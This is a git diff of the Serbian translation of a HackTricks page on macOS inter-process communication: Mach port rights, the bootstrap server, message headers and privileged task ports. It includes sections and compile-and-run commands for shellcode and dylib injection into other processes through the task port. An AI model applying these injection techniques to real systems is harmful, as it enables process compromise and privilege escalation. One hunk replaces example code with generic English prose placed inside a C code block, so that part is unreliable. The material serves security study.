||||
Da bi postigli jednostavnu **bidirekcionalnu komunikaciju**, proces može odrediti **mach port** u mach **zaglavlju poruke** nazvanom _port za odgovor_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na tu poruku. Bitovi u **`msgh_bits`** se mogu koristiti da **pokažu** da bi trebalo izvesti i preneti **jednokratno pravo slanja** za ovaj port (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
{% hint style="success" %}
|
||||
Imajte na umu da se ovakva vrsta bidirekcionalne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali se **obično stvaraju različiti portovi** kako je objašnjeno ranije da bi se uspostavila bidirekcionalna komunikacija.
|
||||
|
@ -184,33 +184,41 @@ printf("Text: %s, number: %d\n", message.some_text, message.some_number);
|
|||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="sender.c" %}Ovo je primer koda za slanje poruka preko IPC-a na macOS operativnom sistemu. Koristi se funkcija `msgsnd` za slanje poruke na red poruka. Potrebno je prvo dobiti identifikator reda poruka koristeći funkciju `msgget`. Zatim se koristi funkcija `msgsnd` za slanje strukture poruke na red poruka. Na kraju, koristi se funkcija `msgctl` za kontrolu reda poruka. Ovaj kod demonstrira osnovni proces slanja poruka preko IPC-a na macOS-u.
|
||||
{% tab title="sender.c" %}
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/ipc.h>
|
||||
#include <sys/msg.h>
|
||||
## macOS IPC (Inter-Process Communication)
|
||||
|
||||
struct message {
|
||||
long mtype;
|
||||
char mtext[100];
|
||||
};
|
||||
### macOS IPC Overview
|
||||
|
||||
int main() {
|
||||
key_t key;
|
||||
int msgid;
|
||||
struct message msg = {1, "Hello, IPC!"};
|
||||
macOS provides several mechanisms for inter-process communication (IPC) between processes. These mechanisms include:
|
||||
|
||||
key = ftok("sender.c", 'B');
|
||||
msgid = msgget(key, 0666 | IPC_CREAT);
|
||||
- **Mach Messages**: Low-level IPC mechanism used by the macOS kernel to manage inter-process communication.
|
||||
- **XPC Services**: High-level API for creating and managing XPC services for IPC.
|
||||
- **Distributed Objects**: Framework for distributed computing that can be used for IPC.
|
||||
- **Unix Domain Sockets**: Inter-process communication between processes on the same host using socket programming.
|
||||
|
||||
msgsnd(msgid, &msg, sizeof(struct message), 0);
|
||||
### Understanding macOS IPC
|
||||
|
||||
msgctl(msgid, IPC_RMID, NULL);
|
||||
Inter-Process Communication (IPC) is essential for processes to communicate and coordinate with each other on macOS. By leveraging IPC mechanisms, processes can share data, resources, and synchronize their activities. Understanding how IPC works on macOS is crucial for developing secure and efficient applications.
|
||||
|
||||
### IPC Security Considerations
|
||||
|
||||
When implementing IPC in macOS applications, developers need to consider security implications to prevent unauthorized access and data leakage. Some security considerations for macOS IPC include:
|
||||
|
||||
- **Authentication**: Implement proper authentication mechanisms to ensure that only authorized processes can communicate.
|
||||
- **Authorization**: Enforce strict authorization policies to control which processes can access specific IPC mechanisms.
|
||||
- **Data Encryption**: Use encryption to protect sensitive data transmitted via IPC channels.
|
||||
- **Input Validation**: Validate input data to prevent injection attacks and ensure data integrity.
|
||||
- **Error Handling**: Implement robust error handling to prevent crashes and potential security vulnerabilities.
|
||||
|
||||
By following security best practices and understanding the intricacies of macOS IPC mechanisms, developers can build secure and reliable applications that leverage inter-process communication effectively.
|
||||
|
||||
### References
|
||||
|
||||
- [Apple Developer Documentation on XPC Services](https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html)
|
||||
- [Apple Developer Documentation on Distributed Objects](https://developer.apple.com/library/archive/documentation/Cocoa/Conceptual/DistrObjects/DistrObjects.html)
|
||||
- [Apple Developer Documentation on Unix Domain Sockets](https://developer.apple.com/legacy/library/documentation/Darwin/Reference/ManPages/man7/unix.7.html)
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
{% endtab %}
|
||||
```c
|
||||
// Code from https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html
|
||||
|
@ -265,20 +273,20 @@ printf("Sent a message\n");
|
|||
```
|
||||
### Privilegovani portovi
|
||||
|
||||
- **Host port**: Ako proces ima **Send** privilegiju nad ovim portom, može dobiti **informacije** o **sistemu** (npr. `host_processor_info`).
|
||||
- **Host priv port**: Proces sa **Send** pravom nad ovim portom može izvršiti **privilegovane akcije** poput učitavanja kernel ekstenzija. **Proces mora biti root** da bi dobio ovo ovlašćenje.
|
||||
- Takođe, da bi pozvao **`kext_request`** API, potrebno je imati druge dozvole poput **`com.apple.private.kext*`** koje su dodeljene samo Apple binarnim fajlovima.
|
||||
- **Task name port**: Neprivilegovana verzija _task porta_. Referencira task, ali ne dozvoljava kontrolu nad njim. Jedina stvar koja je dostupna kroz njega je `task_info()`.
|
||||
- **Task port** (poznat i kao kernel port)**:** Sa Send dozvolom nad ovim portom moguće je kontrolisati task (čitanje/pisanje memorije, kreiranje niti...).
|
||||
- Pozovi `mach_task_self()` da **dobiješ ime** za ovaj port za pozivaoca taska. Ovaj port se nasleđuje samo preko **`exec()`**; novi task kreiran sa `fork()` dobija novi task port (kao poseban slučaj, task takođe dobija novi task port nakon `exec()` u suid binarnom fajlu). Jedini način da spawnuješ task i dobiješ njegov port je da izvedeš ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) dok radiš `fork()`.
|
||||
- **Port domaćina**: Ako proces ima **Send** privilegiju nad ovim portom, može dobiti **informacije** o **sistemu** (npr. `host_processor_info`).
|
||||
- **Privilegovani port domaćina**: Proces sa **Send** pravom nad ovim portom može izvršiti **privilegovane akcije** poput učitavanja kernel ekstenzije. **Proces mora biti root** da bi dobio ovo ovlašćenje.
|
||||
- Osim toga, da bi pozvao **`kext_request`** API, potrebno je imati druge dozvole **`com.apple.private.kext*`** koje su date samo Apple binarnim fajlovima.
|
||||
- **Port naziva zadatka**: Neprivilegovana verzija _ports zadatka_. Referiše na zadatak, ali ne dozvoljava kontrolisanje istog. Jedina stvar koja je dostupna kroz njega je `task_info()`.
|
||||
- **Port zadatka** (poznat i kao kernel port)**:** Sa Send dozvolom nad ovim portom moguće je kontrolisati zadatak (čitanje/pisanje memorije, kreiranje niti...).
|
||||
- Pozovi `mach_task_self()` da **dobiješ naziv** za ovaj port za pozivaoca zadatka. Ovaj port se nasleđuje samo preko **`exec()`**; novi zadatak kreiran sa `fork()` dobija novi zadatak port (kao poseban slučaj, zadatak takođe dobija novi zadatak port nakon `exec()` u suid binarnom fajlu). Jedini način da pokreneš zadatak i dobiješ njegov port je da izvedeš ["port swap dance"](https://robert.sesek.com/2014/1/changes\_to\_xnu\_mach\_ipc.html) dok radi `fork()`.
|
||||
- Ovo su ograničenja za pristup portu (iz `macos_task_policy` iz binarnog fajla `AppleMobileFileIntegrity`):
|
||||
- Ako aplikacija ima **`com.apple.security.get-task-allow` dozvolu**, procesi od **istog korisnika mogu pristupiti task portu** (obično dodato od strane Xcode-a za debugovanje). Proces notarizacije neće dozvoliti ovo za produkcijska izdanja.
|
||||
- Aplikacije sa **`com.apple.system-task-ports` dozvolom** mogu dobiti **task port za bilo** koji proces, osim kernela. U starijim verzijama se nazivalo **`task_for_pid-allow`**. Ovo je dodeljeno samo Apple aplikacijama.
|
||||
- **Root može pristupiti task portovima** aplikacija **koje nisu kompajlirane sa** zaštićenim izvršavanjem (i ne od strane Apple-a).
|
||||
- Ako aplikacija ima **dozvolu `com.apple.security.get-task-allow`**, procesi od **istog korisnika mogu pristupiti portu zadatka** (obično dodato od strane Xcode-a za debagovanje). Proces notarizacije neće dozvoliti ovo za produkcijska izdanja.
|
||||
- Aplikacije sa dozvolom **`com.apple.system-task-ports`** mogu dobiti **port zadatka za bilo** koji proces, osim kernela. U starijim verzijama se nazivalo **`task_for_pid-allow`**. Ovo je dato samo Apple aplikacijama.
|
||||
- **Root može pristupiti portovima zadatka** aplikacija **koje nisu** kompajlirane sa **hardened** izvršnom datotekom (i ne od strane Apple-a).
|
||||
|
||||
### Ubacivanje shell koda u nit putem Task porta
|
||||
|
||||
Možeš dohvatiti shell kod sa:
|
||||
Možeš preuzeti shell kod sa:
|
||||
|
||||
{% content-ref url="../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
|
||||
[arm64-basic-assembly.md](../../macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
|
||||
|
@ -321,21 +329,21 @@ return 0;
|
|||
|
||||
### macOS IPC (Inter-Process Communication)
|
||||
|
||||
IPC mechanisms are used by macOS applications to communicate with each other. Understanding how IPC works is crucial for privilege escalation and lateral movement during a security assessment.
|
||||
Inter-process communication (IPC) mechanisms are used by macOS applications to communicate with each other. Understanding how IPC works is crucial for privilege escalation and lateral movement during a penetration test.
|
||||
|
||||
#### Mach Messages
|
||||
|
||||
Mach messages are a low-level IPC mechanism used by macOS. They are sent between tasks and are used for inter-process communication. By analyzing the entitlements.plist file, you can identify which processes are allowed to send and receive Mach messages.
|
||||
Mach messages are a fundamental IPC mechanism in macOS. They are used for communication between processes and the kernel. By analyzing the entitlements.plist file, you can identify which processes have permission to send and receive Mach messages, potentially leading to privilege escalation opportunities.
|
||||
|
||||
#### XPC Services
|
||||
|
||||
XPC services are a higher-level IPC mechanism that allows applications to create and manage separate processes. By analyzing the entitlements.plist file, you can determine which XPC services are available and which processes can communicate with them.
|
||||
XPC services are another common IPC mechanism in macOS. They allow applications to create and manage lightweight processes for specific tasks. Analyzing the entitlements of XPC services can reveal potential security weaknesses that could be exploited for privilege escalation.
|
||||
|
||||
#### Distributed Objects
|
||||
|
||||
Distributed Objects is another IPC mechanism used by macOS applications. By analyzing the entitlements.plist file, you can identify which processes are allowed to use Distributed Objects for inter-process communication.
|
||||
Distributed Objects is an IPC mechanism that enables communication between processes on the same or different machines. Understanding how Distributed Objects are used in macOS applications can help identify potential attack vectors for privilege escalation.
|
||||
|
||||
Understanding these IPC mechanisms and analyzing the entitlements.plist file can help identify potential security weaknesses and privilege escalation opportunities in macOS applications.
|
||||
By analyzing the entitlements.plist file and understanding how IPC mechanisms work in macOS, you can uncover security vulnerabilities that may be leveraged for privilege escalation and other malicious activities.
|
||||
|
||||
{% endtab %}
|
||||
```xml
|
||||
|
@ -350,7 +358,7 @@ Understanding these IPC mechanisms and analyzing the entitlements.plist file can
|
|||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
**Kompajlujte** prethodni program i dodajte **ovlašćenja** kako biste mogli da ubacite kod sa istim korisnikom (ako ne, moraćete koristiti **sudo**).
|
||||
**Kompajlujte** prethodni program i dodajte **ovlašćenja** da biste mogli da ubacite kod sa istim korisnikom (ako ne, moraćete koristiti **sudo**).
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -558,9 +566,9 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
|||
```
|
||||
### Ubacivanje Dylib-a u nit putem Task porta
|
||||
|
||||
Na macOS-u se **niti** mogu manipulisati putem **Mach** ili korišćenjem **posix `pthread` API-ja**. Nit koju smo generisali u prethodnom ubacivanju, generisana je korišćenjem Mach API-ja, tako da **nije posix kompatibilna**.
|
||||
Na macOS-u se **niti** mogu manipulisati putem **Mach** ili korišćenjem **posix `pthread` api**. Nit koju smo generisali u prethodnom ubacivanju, generisana je korišćenjem Mach api-ja, tako da **nije posix kompatibilna**.
|
||||
|
||||
Bilo je moguće **ubaciti jednostavan shellcode** da izvrši komandu jer **nije bilo potrebno raditi sa posix** kompatibilnim API-jima, već samo sa Mach-om. **Složenije injekcije** bi zahtevale da **nit** takođe bude **posix kompatibilna**.
|
||||
Bilo je moguće **ubaciti jednostavan shellcode** za izvršavanje komande jer **nije bilo potrebno raditi sa posix** kompatibilnim api-jima, već samo sa Mach-om. **Složenije ubacivanje** bi zahtevalo da **nit** takođe bude **posix kompatibilna**.
|
||||
|
||||
Stoga, da bismo **unapredili nit**, trebalo bi da pozovemo **`pthread_create_from_mach_thread`** koji će **kreirati validnu pthread**. Zatim, ova nova pthread bi mogla **pozvati dlopen** da **učita dylib** sa sistema, tako da umesto pisanja novog shellcode-a za obavljanje različitih akcija, moguće je učitati prilagođene biblioteke.
|
||||
|
||||
|
@ -849,9 +857,9 @@ fprintf(stderr,"Dylib nije pronađen\n");
|
|||
gcc -framework Foundation -framework Appkit dylib_injector.m -o dylib_injector
|
||||
./inject <pid-of-mysleep> </path/to/lib.dylib>
|
||||
```
|
||||
### Preuzimanje niti putem Task porta <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
### Preusmeravanje niti putem Task porta <a href="#step-1-thread-hijacking" id="step-1-thread-hijacking"></a>
|
||||
|
||||
U ovoj tehnici se preuzima nit procesa:
|
||||
U ovoj tehnici se preusmerava nit procesa:
|
||||
|
||||
{% content-ref url="../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md" %}
|
||||
[macos-thread-injection-via-task-port.md](../../macos-proces-abuse/macos-ipc-inter-process-communication/macos-thread-injection-via-task-port.md)
|
||||
|
@ -861,7 +869,7 @@ U ovoj tehnici se preuzima nit procesa:
|
|||
|
||||
### Osnovne informacije
|
||||
|
||||
XPC, što označava XNU (jezgro koje koristi macOS) međuprocesnu komunikaciju, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za **sigurne, asinhrone pozive metoda između različitih procesa** na sistemu. To je deo Apple-ovog sigurnosnog paradigma, omogućavajući **kreiranje aplikacija sa razdvojenim privilegijama** gde svaki **komponent** radi sa **samo dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
|
||||
XPC, što označava XNU (jezgro koje koristi macOS) međuprocesnu komunikaciju, je okvir za **komunikaciju između procesa** na macOS-u i iOS-u. XPC pruža mehanizam za obavljanje **sigurnih, asinhronih poziva metoda između različitih procesa** na sistemu. To je deo Apple-ovog sigurnosnog paradigma, omogućavajući **kreiranje aplikacija sa razdvojenim privilegijama** gde svaki **komponenta** radi sa **samo dozvolama koje su mu potrebne** da obavi svoj posao, čime se ograničava potencijalna šteta od kompromitovanog procesa.
|
||||
|
||||
Za više informacija o tome kako ova **komunikacija funkcioniše** i kako **može biti ranjiva**, pogledajte:
|
||||
|
||||
|
@ -893,7 +901,7 @@ Za više informacija pogledajte:
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -8,7 +8,7 @@ Drugi načini podrške HackTricks-u:
|
|||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodičnu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* Otkrijte [**Porodiču PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
|
@ -28,59 +28,59 @@ Svaki proces ima **IPC tabelu**, u kojoj je moguće pronaći **mach portove proc
|
|||
|
||||
Proces takođe može poslati ime porta sa određenim pravima **drugom tasku** i jezgro će napraviti ovaj unos u **IPC tabeli drugog taska**.
|
||||
|
||||
### Prava na portu
|
||||
### Prava portova
|
||||
|
||||
Prava na portu, koja definišu koje operacije task može izvršiti, ključne su za ovu komunikaciju. Moguća **prava na portu** su ([definicije odavde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
Prava portova, koja definišu koje operacije task može izvršiti, ključna su za ovu komunikaciju. Moguća **prava portova** su ([definicije odavde](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
* **Pravo na primanje**, koje omogućava primanje poruka poslatih na port. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo **jedno pravo na primanje za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za kraj za čitanje jedne cevi).
|
||||
* **Task sa pravom na primanje** može primati poruke i **kreirati prava na slanje**, omogućavajući mu slanje poruka. Originalno, samo **sopstveni task ima pravo na primanje nad svojim portom**.
|
||||
* Ako vlasnik prava na primanje **umre** ili ga ubije, **pravo na slanje postaje beskorisno (mrtvo ime)**.
|
||||
* **Pravo na slanje**, koje omogućava slanje poruka na port.
|
||||
* Pravo na slanje se može **klonirati** tako da task koji poseduje pravo na slanje može klonirati pravo i **dodeliti ga trećem tasku**.
|
||||
* Imajte na umu da se **prava na portu** takođe mogu **prosleđivati** putem Mac poruka.
|
||||
* **Pravo na jednokratno slanje**, koje omogućava slanje jedne poruke na port i zatim nestaje.
|
||||
* **Pravo primanja**, koje omogućava primanje poruka poslatih portu. Mach portovi su MPSC (multiple-producer, single-consumer) redovi, što znači da može postojati samo **jedno pravo primanja za svaki port** u celom sistemu (za razliku od cevi, gde više procesa može držati deskriptore fajlova za čitanje sa jednog kraja cevi).
|
||||
* Task sa **pravom primanja** može primati poruke i **kreirati prava slanja**, omogućavajući mu slanje poruka. Originalno, samo **sopstveni task ima pravo primanja nad svojim portom**.
|
||||
* Ako vlasnik prava primanja **umre** ili ga ubije, **pravo slanja postaje beskorisno (mrtvo ime)**.
|
||||
* **Pravo slanja**, koje omogućava slanje poruka portu.
|
||||
* Pravo slanja se može **klonirati** tako da task koji poseduje pravo slanja može klonirati pravo i **dodeliti ga trećem tasku**.
|
||||
* Imajte na umu da se **prava portova** takođe mogu **prosleđivati** putem Mac poruka.
|
||||
* **Pravo slanja jednom**, koje omogućava slanje jedne poruke portu i zatim nestaje.
|
||||
* Ovo pravo **ne može** biti **klonirano**, ali se može **premestiti**.
|
||||
* **Pravo na set portova**, koje označava _set portova_ umesto pojedinačnog porta. Skidanje poruke sa seta portova skida poruku sa jednog od portova koje sadrži. Set portova se može koristiti za osluškivanje više portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unix-u.
|
||||
* **Mrtvo ime**, koje nije stvarno pravo na portu, već samo rezervacija. Kada se port uništi, sva postojeća prava na portu postaju mrtva imena.
|
||||
* **Pravo skupa portova**, koje označava _skup portova_ umesto jednog porta. Izvlačenje poruke iz skupa portova izvlači poruku iz jednog od portova koje sadrži. Skupovi portova se mogu koristiti za osluškivanje više portova istovremeno, slično kao `select`/`poll`/`epoll`/`kqueue` u Unix-u.
|
||||
* **Mrtvo ime**, koje nije stvarno pravo porta, već samo rezervacija. Kada se port uništi, sva postojeća prava porta na port postaju mrtva imena.
|
||||
|
||||
**Taskovi mogu preneti SEND prava drugima**, omogućavajući im da pošalju poruke nazad. **SEND prava takođe mogu biti klonirana, tako da task može duplicirati pravo i dati ga trećem tasku**. Ovo, zajedno sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između taskova.
|
||||
**Taskovi mogu preneti SEND prava drugima**, omogućavajući im da pošalju poruke nazad. **SEND prava takođe mogu biti klonirana, tako da task može duplicirati i dati pravo trećem tasku**. Ovo, zajedno sa posredničkim procesom poznatim kao **bootstrap server**, omogućava efikasnu komunikaciju između taskova.
|
||||
|
||||
### Portovi fajlova
|
||||
|
||||
Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći prava na Mach portovima). Moguće je kreirati `fileport` od datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
|
||||
Portovi fajlova omogućavaju da se deskriptori fajlova enkapsuliraju u Mac portove (koristeći prava Mach porta). Moguće je kreirati `fileport` od datog FD koristeći `fileport_makeport` i kreirati FD iz fileporta koristeći `fileport_makefd`.
|
||||
|
||||
### Uspostavljanje komunikacije
|
||||
|
||||
Kao što je ranije pomenuto, moguće je slati prava korišćenjem Mach poruka, međutim, **ne možete poslati pravo bez već postojećeg prava** za slanje Mach poruke. Kako se onda uspostavlja prva komunikacija?
|
||||
Kao što je ranije pomenuto, moguće je slati prava koristeći Mach poruke, međutim, **ne možete poslati pravo bez već postojećeg prava** za slanje Mach poruke. Kako se onda uspostavlja prva komunikacija?
|
||||
|
||||
Za to je uključen **bootstrap server** (**launchd** na Mac-u), pošto **svako može dobiti SEND pravo ka bootstrap serveru**, moguće je zatražiti od njega pravo da pošalje poruku drugom procesu:
|
||||
Za to je uključen **bootstrap server** (**launchd** na Mac-u), pošto **svako može dobiti SEND pravo ka bootstrap serveru**, moguće je zatražiti od njega pravo za slanje poruke drugom procesu:
|
||||
|
||||
1. Task **A** kreira **novi port**, dobijajući **pravo na primanje** nad njim.
|
||||
2. Task **A**, kao vlasnik prava na primanje, **generiše SEND pravo za port**.
|
||||
1. Task **A** kreira **novi port**, dobijajući **pravo primanja** nad njim.
|
||||
2. Task **A**, kao nosilac prava primanja, **generiše SEND pravo za port**.
|
||||
3. Task **A** uspostavlja **vezu** sa **bootstrap serverom**, i **šalje mu SEND pravo** za port koji je generisao na početku.
|
||||
* Zapamtite da svako može dobiti SEND pravo ka bootstrap serveru.
|
||||
4. Task A šalje `bootstrap_register` poruku bootstrap serveru da **poveže dati port sa imenom** kao što je `com.apple.taska`
|
||||
4. Task A šalje poruku `bootstrap_register` bootstrap serveru da **poveže dati port sa imenom** kao što je `com.apple.taska`
|
||||
5. Task **B** interaguje sa **bootstrap serverom** da izvrši bootstrap **pretragu za imenom servisa** (`bootstrap_lookup`). Da bi bootstrap server mogao da odgovori, task B će mu poslati **SEND pravo ka portu koji je prethodno kreirao** unutar poruke pretrage. Ako je pretraga uspešna, **server duplira SEND pravo** primljeno od Task A i **prebacuje ga Task B**.
|
||||
* Zapamtite da svako može dobiti SEND pravo ka bootstrap serveru.
|
||||
6. Sa ovim SEND pravom, **Task B** je sposoban da **pošalje** **poruku** **Task A**-i.
|
||||
7. Za dvosmernu komunikaciju obično task **B** generiše novi port sa **pravom na primanje** i **pravom na slanje**, i daje **pravo na slanje Task A**-i kako bi mogao slati poruke TASK B-u (dvosmerna komunikacija).
|
||||
6. Sa ovim SEND pravom, **Task B** je sposoban da **pošalje poruku Task A**.
|
||||
7. Za dvosmernu komunikaciju obično task **B** generiše novi port sa **pravom primanja** i **pravom slanja**, i daje **pravo slanja Task A** tako da može slati poruke TASK B (dvosmerna komunikacija).
|
||||
|
||||
Bootstrap server **ne može autentifikovati** ime servisa koje tvrdi task. Ovo znači da bi **task** potencijalno mogao **predstavljati bilo koji sistemski task**, kao što je lažno **tvrditi ime autorizacionog servisa** a zatim odobriti svaki zahtev.
|
||||
Bootstrap server **ne može autentifikovati** ime servisa koje tvrdi task. Ovo znači da bi **task** potencijalno mogao **predstavljati bilo koji sistemski task**, kao što je lažno **tvrditi ime autorizacionog servisa** a zatim odobravati svaki zahtev.
|
||||
|
||||
Zatim, Apple čuva **imena servisa koje pruža sistem** u sigurnim konfiguracionim fajlovima, smeštenim u **SIP-zaštićenim** direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena servisa, takođe je sačuvana **povezana binarna datoteka**. Bootstrap server će kreirati i držati **pravo na primanje za svako od ovih imena servisa**.
|
||||
Zatim, Apple čuva **imena sistema pruženih servisa** u sigurnim konfiguracionim fajlovima, smeštenim u **SIP-zaštićenim** direktorijumima: `/System/Library/LaunchDaemons` i `/System/Library/LaunchAgents`. Pored svakog imena servisa, takođe je sačuvana **povezana binarna datoteka**. Bootstrap server će kreirati i držati **pravo primanja za svako od ovih imena servisa**.
|
||||
|
||||
Za ove unapred definisane servise, **proces pretrage se malo razlikuje**. Kada se traži ime servisa, launchd pokreće servis dinamički. Novi tok rada je sledeći:
|
||||
|
||||
* Task **B** pokreće bootstrap **pretragu** za imenom servisa.
|
||||
* **launchd** proverava da li je task pokrenut i ako nije, ga **pokreće**.
|
||||
* Task **A** (servis) izvršava **bootstrap check-in** (`bootstrap_check_in()`). Ovde, **bootstrap** server kreira SEND pravo, zadržava ga, i **prebacuje pravo na primanje Task A**-i.
|
||||
* launchd duplira **SEND pravo i šalje ga Task B**-u.
|
||||
* Task **B** generiše novi port sa **pravom na primanje** i **pravom na slanje**, i daje **pravo na slanje Task A**-i (servisu) kako bi mogao slati poruke TASK B-u (dvosmerna komunikacija).
|
||||
* Task **A** (servis) izvršava **bootstrap check-in** (`bootstrap_check_in()`). Ovde, **bootstrap** server kreira SEND pravo, zadržava ga, i **prebacuje pravo primanja Task A**.
|
||||
* launchd duplira **SEND pravo i šalje ga Task B**.
|
||||
* Task **B** generiše novi port sa **pravom primanja** i **pravom slanja**, i daje **pravo slanja Task A** (servisu) tako da može slati poruke TASK B (dvosmerna komunikacija).
|
||||
|
||||
Međutim, ovaj proces se odnosi samo na unapred definisane sistemski taskove. Ne-sistemski taskovi i dalje funkcionišu kao što je opisano originalno, što potencijalno može omogućiti predstavljanje.
|
||||
|
||||
{% hint style="opasnost" %}
|
||||
Stoga, launchd nikada ne bi trebalo da se sruši ili će se ceo sistem srušiti.
|
||||
{% hint style="danger" %}
|
||||
Stoga, launchd nikada ne sme da se sruši ili će ceo sistem pasti.
|
||||
{% endhint %}
|
||||
### Mach poruka
|
||||
|
||||
|
@ -97,11 +97,11 @@ mach_port_name_t msgh_voucher_port;
|
|||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Procesi koji poseduju _**pravo na prijem**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaoci** imaju pravo na _**slanje**_ ili _**jednokratno slanje**_. Pravo jednokratnog slanja je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
|
||||
Procesi koji poseduju _**pravo na prijem**_ mogu primati poruke na Mach portu. Nasuprot tome, **pošiljaoci** imaju _**pravo slanja**_ ili _**pravo jednokratnog slanja**_. Pravo jednokratnog slanja je isključivo za slanje jedne poruke, nakon čega postaje nevažeće.
|
||||
|
||||
Početno polje **`msgh_bits`** je mapa bitova:
|
||||
|
||||
- Prvi bit (najznačajniji) se koristi za označavanje da je poruka kompleksna (više o tome ispod)
|
||||
- Prvi bit (najznačajniji) se koristi za označavanje da je poruka složena (više o tome ispod)
|
||||
- 3. i 4. bit se koriste od strane jezgra
|
||||
- **5 najmanje značajnih bitova 2. bajta** mogu se koristiti za **vaučer**: druga vrsta porta za slanje kombinacija ključ/vrednost.
|
||||
- **5 najmanje značajnih bitova 3. bajta** mogu se koristiti za **lokalni port**
|
||||
|
@ -122,7 +122,7 @@ Tipovi koji se mogu navesti u vaučeru, lokalnim i udaljenim portovima su (iz [*
|
|||
```
|
||||
Na primer, `MACH_MSG_TYPE_MAKE_SEND_ONCE` može se koristiti da **ukazuje** da bi trebalo izvesti i preneti **jednokratno slanje prava** za ovaj port. Takođe se može specificirati `MACH_PORT_NULL` da bi se sprečilo da primalac može da odgovori.
|
||||
|
||||
Da bi se postigla jednostavna **dvosmerna komunikacija**, proces može specificirati **mach port** u mach **zaglavlju poruke** nazvan _reply port_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na ovu poruku.
|
||||
Da bi se postigla jednostavna **dvosmerna komunikacija**, proces može specificirati **mach port** u mach **zaglavlju poruke** nazvanom _reply port_ (**`msgh_local_port`**) gde **primalac** poruke može **poslati odgovor** na ovu poruku.
|
||||
|
||||
{% hint style="success" %}
|
||||
Imajte na umu da se ovakva vrsta dvosmerne komunikacije koristi u XPC porukama koje očekuju odgovor (`xpc_connection_send_message_with_reply` i `xpc_connection_send_message_with_reply_sync`). Ali **obično se kreiraju različiti portovi** kako je objašnjeno ranije da bi se kreirala dvosmerna komunikacija.
|
||||
|
@ -131,21 +131,21 @@ Imajte na umu da se ovakva vrsta dvosmerne komunikacije koristi u XPC porukama k
|
|||
Ostala polja zaglavlja poruke su:
|
||||
|
||||
- `msgh_size`: veličina celog paketa.
|
||||
- `msgh_remote_port`: port preko kojeg je poslata ova poruka.
|
||||
- `msgh_remote_port`: port preko kog je poslata ova poruka.
|
||||
- `msgh_voucher_port`: [mach vaučeri](https://robert.sesek.com/2023/6/mach\_vouchers.html).
|
||||
- `msgh_id`: ID ove poruke, koji se tumači od strane primaoca.
|
||||
- `msgh_id`: ID ove poruke, koji tumači primalac.
|
||||
|
||||
{% hint style="danger" %}
|
